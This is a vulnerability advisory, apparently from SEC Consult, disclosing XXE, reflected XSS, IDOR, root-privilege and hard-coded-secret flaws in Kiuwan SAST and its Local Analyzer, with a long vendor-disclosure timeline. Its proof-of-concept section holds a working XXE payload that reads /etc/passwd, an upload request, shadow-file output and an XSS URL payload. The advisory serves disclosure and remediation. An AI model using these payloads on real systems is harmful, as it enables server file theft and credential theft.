SEC Consult Vulnerability Lab Security Advisory < 20240606-0 > ======================================================================= title: Multiple critical vulnerabilities product: Kiuwan SAST on-premise (KOP) & cloud/SaaS Kiuwan Local Analyzer (KLA) vulnerable version: Kiuwan SAST <2.8.2402.3 Kiuwan Local Analyzer <master.1808.p685.q13371 Kiuwan SaaS before 2024-02-05 fixed version: Kiuwan SAST 2.8.2402.3 Kiuwan Local Analyzer master.1808.p685.q13371 Kiuwan SaaS after 2024-02-05 CVE number: CVE-2023-49110, CVE-2023-49111, CVE-2023-49112 CVE-2023-49113 impact: critical homepage: https://www.kiuwan.com found: 2022-10-28 by: C. Schwarz (Office Bochum) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Thorough code inspection is essential for designing secure software products. While your development team may not have time to comb through every line of code, Kiuwan does. For 20 years, it has been the choice of developers to scan code automatically and remediate defects according to security standards like OWASP, CWE, SANS, and CERT. Static application security testing (SAST) scans for security flaws in the source code without running the program. It is a white-box testing method that is the counterpart to dynamic application software testing (DAST), which tests web applications for run-time vulnerabilities. [...] Our code vulnerability scanning tools create an all-encompassing process that begins in the early stages of development and continues into production. Kiuwan’s static application security testing software fits perfectly into any DevOps environment. It uses a distributed engine and fast analysis to silently add security without causing a bottleneck in your workflows. [...]" Source: https://www.kiuwan.com/code-security-sast/ Business recommendation: ------------------------ The vendor provides a patched version for Kiuwan On-Premise (master.1808.p685.q13371) which should be installed immediately. Although initially communicated otherwise during responsible disclosure in 2022-2023 (see timeline below), the vendor confirmed in 2024 that the SaaS/cloud version is affected and will also be patched. The patch date was 2024-02-05, version 2.8.2402.3. An in-depth security analysis performed by security professionals is highly advised, to identify and resolve potential further critical security issues and to verify whether the developed patches really mitigate the identified critical security issues. SEC Consult also submitted further security issues to Kiuwan, such as Docker-related configuration issues which were also fixed during our responsible disclosure. Vulnerability overview/description: ----------------------------------- 1) XML External Entity Injection (CVE-2023-49110) When the Kiuwan Local Analyzer uploads the scan results to the web app (either on-premises or cloud/SaaS solution), the transmitted data consists of a ZIP archive containing several files, some of them in the XML file format. During Kiuwan's server-side processing of these XML files, it resolves external XML entities, resulting in a XML external entity injection attack. An attacker with privileges to scan source code within the "Code Security" module is able to extract any files of the operating system with the rights of the application server user and is potentially able to gain sensitive files, such as configuration and passwords. Furthermore, this vulnerability also allows an attacker to initiate connections to internal systems, e.g. for port scans or accessing other internal functions / applications such as the Wildfly admin console of Kiuwan. 2) Services running as root The Kiuwan web app process is configured to run with root privileges. In case an attacker can compromise the application (such as documented in 1), this provides them with unrestricted access to the system. 3) Reflected Cross-Site-Scripting (CVE-2023-49111) For Kiuwan installations with SSO (single sign-on) enabled, an unauthenticated reflected cross-site scripting attack can be performed on the login page. This is possible due to some request parameter values being directly included in a JavaScript block in the response. This is especially critical in business environments using AD SSO authentication, e.g. via ADFS, where attackers could potentially steal AD passwords. 4) Insecure Direct Object Reference (CVE-2023-49112) Kiuwan provides an API endpoint to get information about any application, providing only its name. This endpoint lacks proper access control mechanisms, allowing other authenticated users to read information about applications, even though they have not been granted the necessary rights to do so. 5) Sensitive Data Stored Insecurely (CVE-2023-49113) The Kiuwan Local Analyzer (KLA) Java application contains several hard-coded secrets in plain text format. In some cases, this can potentially compromise the confidentiality of the scan results. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2023-49110) The scan results of the Kiuwan Local Analyzer (KLA) are transmitted to the Kiuwan server (KOP on-premise or SaaS) using several XML files packed in a ZIP archive. Even though the initial upload only contains encrypted .bxml files, the server also parses regular XML files if they are present. A valid result archive with regular XML files can be obtained by clicking on the analysis code within the analysis log feature in the web GUI. [ screenshot xxe1.png ] Then, any XML file inside this archive can be weaponized with an XXE payload. The following snippet is taken from a manipulated metrics_python.xml file to exfiltrate the /etc/passwd file of the server: <?xml version='1.0' encoding='UTF-8'?> <!DOCTYPE replace [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <MetricReport technology='python'> <ConfidenceFactors> <GlobalConf>100.0</GlobalConf> </ConfidenceFactors> <ResumenGenerico> ---[SNIP]--- <high>100</high> <unit>%</unit> <category>documentation</category> </MetricDefinition> </MetricDefinitions> <Items> <Item id='0' type='system'>metrics: python</Item> <Item id='1' parent='0' type='program'>&xxe;</Item> <Item id='2' parent='0' type='program'>plugins/engines/smarty.py</Item> <Item id='3' parent='0' type='program'>plugins/legacy_engines/__init__.py</Item> ---[SNIP]--- After re-uploading the malicious archive, the server parses the XML files and triggers the XXE injection. The results of this particular payload can be found in the files tab of the code security module. [ screenshot xxe2.png ] The following PUT request can be used to upload the manipulated ZIP file (gathered from capturing the request between Kiuwan Local Analyzer and the server): ----------------------------------------------------------------------------- PUT /saas/rest/v1/applications/analyses/report HTTP/1.1 Content-Type: multipart/form-data; boundary=Boundary_1_215423993_1666774847780 User-Agent: KiuwanLocalAnalyzer/master.1706.p646.q13222 (Java/11.0.16; Linux 5.19.0-kali2-amd64) Authorization: Basic [...] X-CSRF-TOKEN: b2a3a08e-3e24-4e43-98e1-870fa4b8279c X-KW-CORPORATE-DOMAIN-ID: <removed> MIME-Version: 1.0 Host: KIUWAN_HOST Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close Content-Length: 48193 --Boundary_1_215423993_1666774847780 Content-Type: text/plain Content-Disposition: form-data; name="label" XXE test --Boundary_1_215423993_1666774847780 Content-Type: text/plain Content-Disposition: form-data; name="start" 2022-10-26T09:00:13Z --Boundary_1_215423993_1666774847780 Content-Type: text/plain Content-Disposition: form-data; name="applicationId" 123 --Boundary_1_215423993_1666774847780 Content-Type: text/plain Content-Disposition: form-data; name="qualityModelId" 1 --Boundary_1_215423993_1666774847780 Content-Type: text/plain Content-Disposition: form-data; name="isDelivery" false --Boundary_1_215423993_1666774847780 Content-Type: application/octet-stream Content-Disposition: form-data; filename="results.zip"; name="reports" PK [...removed XXE ZIP file contents...] --Boundary_1_215423993_1666774847780-- ----------------------------------------------------------------------------- [ screenshot xxe3.png ] 2) Services running as root By abusing the XXE injection documented above to read the "/etc/shadow" file of the Kiuwan server, it is possible to retrieve its contents: root:locked::0:99999:7::: bin:*:17834:0:99999:7::: daemon:*:17834:0:99999:7::: adm:*:17834:0:99999:7::: lp:*:17834:0:99999:7::: sync:*:17834:0:99999:7::: shutdown:*:17834:0:99999:7::: halt:*:17834:0:99999:7::: mail:*:17834:0:99999:7::: operator:*:17834:0:99999:7::: games:*:17834:0:99999:7::: ftp:*:17834:0:99999:7::: nobody:*:17834:0:99999:7::: systemd-network:!!:17870:::::: dbus:!!:17870:::::: jboss:!!:17940:::::: As only root can read this file, it can be concluded that the application server runs with root privileges. This could also be verified in the docker environment of Kiuwan on-premises. 3) Reflected Cross-Site-Scripting (CVE-2023-49111) The XSS injection is possible on the login page of Kiuwan via the message parameter. To exploit the vulnerability, a victim must click on a link with the following payload: https://KIUWAN_HOST/saas/web/login.html?domain=XSS&message=x'%2Beval('alert(document.location)');//&sso=off The injected JavaScript code is only executed when the victim has a Kiuwan domain id cached in their web browser's localstorage (SSO-enabled users). [ screenshot xxs.png ] 4) Insecure Direct Object Reference (CVE-2023-49112) By directly querying the following API endpoint, an authenticated user with standard privileges to access the "code security" module can query information about any other application, even though the permissions have not been assigned for those specific applications: https://KIUWAN_HOST/saas/rest/v1/info/application?application=APPLICATION_NAME 5) Sensitive Data Stored Insecurely (CVE-2023-49113) Several credentials were found in the JAR files of the Kiuwan Local Analyzer. a) GitHub The JAR file "lib.engine/insight/optimyth-insight.jar" contains the file "InsightServicesConfig.properties", which has the configuration tokens "insight.github.user" as well as "insight.github.password" prefilled with credentials. At least the specified username corresponds to a valid GitHub account. SEC Consult did not test those credentials. b) Encryption Key The JAR file "lib.engine/insight/optimyth-insight.jar" also contains the file "es/als/security/Encryptor.properties", in which the key used for encrypting the results of any performed scan. Vulnerable / tested versions: ----------------------------- All tests have been performed on Kiuwan on-premise Version 2.8.2110.2, as well as the respective Local Analyzer (KLA) version master.1706.p646.q13222. It was assumed that Kiuwan SaaS/cloud was also affected by the identified vulnerabilities during initial responsible disclosure. Originally, the vendor claimed that vulnerability 1) is not exploitable in the SaaS version as HTTPS certificates are being verified, nevertheless we provided the vendor with arguments why we still thought that it was exploitable, but because of lacking test environment this could not be confirmed on our side. In early 2024 the vendor confirmed that the SaaS version is affected and is also going to be patched. Vendor contact timeline: ------------------------ 2022-11-08: Contacting vendor through established contacts, sharing detailed PDF vulnerability assessment report. 2022-11-11: Sharing this security advisory information in addition. 2022-11-16: Asking for a status update; response that findings were escalated internally and they are actively being reviewed. 2022-11-23: Asking for a status update regarding patch availability and whether further information is needed. 2022-11-23: Vendor: Analysis complete. Critical issues will be fixed before the end of CY23Q1. Lower risk issues will be evaluated for changes during CY23Q1 with possible implementation during CY23Q2. 2022-11-25: Telling the vendor that XSS should also be fixed earlier as the use of SSO bears an even higher risk of stealing enterprise AD credentials. 2022-11-29: Vendor: the team are taking it into consideration. 2023-05-09: Asking for a status update. 2023-05-16: Vendor: the XSS issues will be fixed in the upcoming security update release, which is planned in the next two months. 2023-05-17: Asking for a status update for all of the identified issues again. Informing vendor about next steps (requesting CVE numbers, etc). 2023-05-31: Vendor response: "all critical issues are being addressed in the next security update project", they are furthermore adding more details on the specific issues: 1) XXE - Vendor: affects KOP users more than cloud, as KLA verifies HTTPS certificate of the server and there is no way to download or modify the results as they are encrypted. Vendor quote: "Customers using the KOP installation should take standard measures to protect their private networks from external actors while Kiuwan develops a patch for this issue." Our answer: it is a local Java application and HTTPS checks can be bypassed. Encryption key is even stored in the local source code. 2) Services as root - Vendor: "There is no common exploit for this issue." Our answer: yes, the XXE issue or any other code execution + file disclosure issue would be a problem; giving hints to least privileges and providing links to OWASP for further guidance. 3) XSS - Vendor: only affects SSO-enabled clients. "In this case, standard security policies should be followed for the potentially insecure links sent to those users." Our answer: requesting info if this will be fixed or not and stating that SSO-enabled users have an even higher risk of stolen enterprise credentials. 4) IDOR - Vendor: "only impacts users within the customer's private domain. It means that information is not leaked outside the customer's boundaries" Our answer: requesting further info what is meant by "private domain". No response to our question. 5) Data leakage: "There is no common exploit for this issue." Our answer: Yes there is, the encryption key can be used to exploit the documented XXE issue. 2023-06-02: Answering with very detailed statement (see our answers from above) on the why the security issues need to be fixed and when the "next security update project" is planned to release the patch. 2023-06-13: Vendor proposes call to discuss open questions. 2023-06-21: Conference call, clarifying next steps and that all issues are being worked on. 2023-09-07: Asking for status update Vendor response: "development is complete, working through quality control. Update planned within the next month." 2023-11-08: Asking for status update, affected/fixed version numbers and how customers will be informed. Vendor response: team made significant progress, final tests for general availability and release by end of November. 2023-11-30: Update from vendor (compliance team): "we are still actively working on this update and project this to be ready by the end of December." 2023-12-07: Expressing our concerns and dissatisfaction about the delay again. No response. 2024-01-16: Asking once again about the patch status as no information was received and the vendor's communicated release date has passed again. Furthermore, asked about vendor communication to customers (security note), where customers can download the patch and changelog, and that we now plan to release the advisory latest within four weeks on 13th February 2024. 2024-01-17: Vendor: escalated our email to product management, provided the following schedules for the resolution: 23-Jan-2024 - Kiuwan Cloud (Kiuwan SaaS) 31-Jan-2024 - Kiuwan on premise (KOP) release No answer regarding customer communication and changelog questions. 2024-01-18: Vendor: confirms the dates again, no input regarding other questions. 2024-01-19: Asking vendor again about version numbers, where to obtain the patch, whether all vulnerabilities will be fixed now including SaaS version. No response. 2024-01-23: Communicated patch date for SaaS passed without patch being available nor any info from vendor. 2024-01-31: Communicated patch date for KOP passed without patch being available nor any info from vendor. 2024-02-05: Asking for a status update and answers to our questions again, assigning CVE numbers (CVE-2023-49110, CVE-2023-49111, CVE-2023-49112, CVE-2023-49113) and sending them to the vendor. Informing the vendor that we will proceed now to release our advisory on 13th February because they are non-responsive. 2024-02-05: Vendor: did have delays, cloud security update is released today which fixes all identifies issues. KOP update will be scheduled after it goes through QE testing. Asking if we have further questions. 2024-02-05: Asking about answers to our previous, still open questions again. 1) Which version number for KOP is affected and which version will the patch have? 2) How can a customer verify to have the patch installed? 3) Whether and how/where will your customers be notified about the patch/ security update? 4) Where to obtain the patch? 5) What is this changelog about https://www.kiuwan.com/docs/display/K5/Change+log It does not correlate to anything we see in our KOP installation. 2024-02-05: Vendor: the cloud security update has been released today and is in production. 2024-02-05: Vendor answers questions: Regarding KOP, several updates are combined with the security release, no ETA yet for KOP release, but no significant delay. 1) version updates will come with the KOP release; currently improving versioning, changelogs will begin to contain version numbers. 2) New baseline version numbers will be released and work forward from there. 3) Release notes information will be included in the changelog. Informing customers will be discussed via Sales and Marketing. 4) Answer about release notes and changelog which will be more robust and versioned. No info regarding where to obtain the patch. 5) Correlation is being worked on and improved. 2024-02-05: Offering to postpone the advisory release to end of February. 2024-02-12: Vendor: still working an answers to our questions, release dates ready by "end of the week". 2024-02-23: Asking for a status update as nearly two weeks have passed; no response. 2024-03-04: Still no response from vendor, starting preparation of advisory release. Communicating release date for "early next week". 2024-03-07: Vendor: Apologies for delay, cloud was patched on 6th February. Now finalizing release with updates for KOP customers. Already "in final stages of testing", release will be available "by end of April at the latest", asking to hold off publishing the advisory. Customers will be notified through support and/or sales with download link, customers can verify updated version by checking changelogs. 2024-03-08: Asking if they mean "end of April" this year, extending once more. Expressing unsatisfactory process again, as Kiuwan already communicated back in September 2023 that the patch is ready. 2024-03-11: Vendor confirms end of April this year, extra delay was needed to test the patch to meet quality standards for delivery. 2024-04-25: Asking for a status update, so far no download link was provided. Wondering why cloud patches get prioritized although KOP users pay an additional premium for licensing. 2024-04-29: Vendor: review for upcoming KOP release is finalized, product management team will contact us shortly. 2024-05-03: Vendor: Kiuwan On Premise testing finishes by 6th May. If no issues found, KOP will be released in week of 13th May. 2024-05-17: Vendor: Download link was planned for today, but technical team faced issues to provide a pre-release build for us. Provided changelog, but still no fixed version number. Vendor informs us that our reported security vulnerabilities were fixed. 2024-05-21: Asking Kiuwan to confirm that our submitted security issues have really been fixed (mentioned in changelog from February 2024). Asking for a public download link (no pre-release build) and version number. 2024-05-22: Vendor: passed information about five vulnerabilities to Kiuwan team for verification, but our five reported issues should be fixed. Version number not available before GA release. Targeting release for early next week. 2024-06-01: Vendor informs us that a new KOP version was released, provides changelog and reference numbers, upgrade guide. 2024-06-06: Coordinated release of security advisory. Solution: --------- The vendor provides a patched version master.1808.p685.q13371 which should be installed immediately. See the changelog from the vendor: https://www.kiuwan.com/docs/display/K5/%5B2024-05-30%5D+Change+Log * XML External Entity Injection => CVE-2023-49110 is SAS-6851 fixed on release 2024-02-06 * Services Running as Root => is SAS-6856 and SAS-6857 fixed on release 2024-05-15 * Reflected Cross-site-scripting => CVE-2023-49111 is SAS-6852 fixed on release 2024-02-06 * Insecure Direct Object Reference => CVE-2023-49112 is SAS-6853 fixed on release 2024-02-06 * Sensitive Data Stored Insecurely => CVE-2023-49113 is SAS-6854, SAS-6855, SAS-6858, and SAS-6859 fixed on release 2024-02-06 The following upgrade guide was provided by the vendor: https://www.kiuwan.com/docs/display/K5/Kiuwan+On-Premises+Distributed+Upgrade+Guide Although initially communicated otherwise during responsible disclosure in 2022-2023 (see timeline above), the vendor confirmed in 2024 that the SaaS/cloud version is affected and will also be patched. The patch date was 2024-02-05, version 2.8.2402.3. SEC Consult also submitted further security issues to Kiuwan, such as Docker-related configuration issues which were also fixed during our responsible disclosure. * Sensitive Data Stored Insecurely for MySQL * Sensitive Data displayed for wildfly * Containers Running as root User * Containers running in the host network * Exposure of Internal Services Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Constantin Schwarz, Johannes Greil / @2024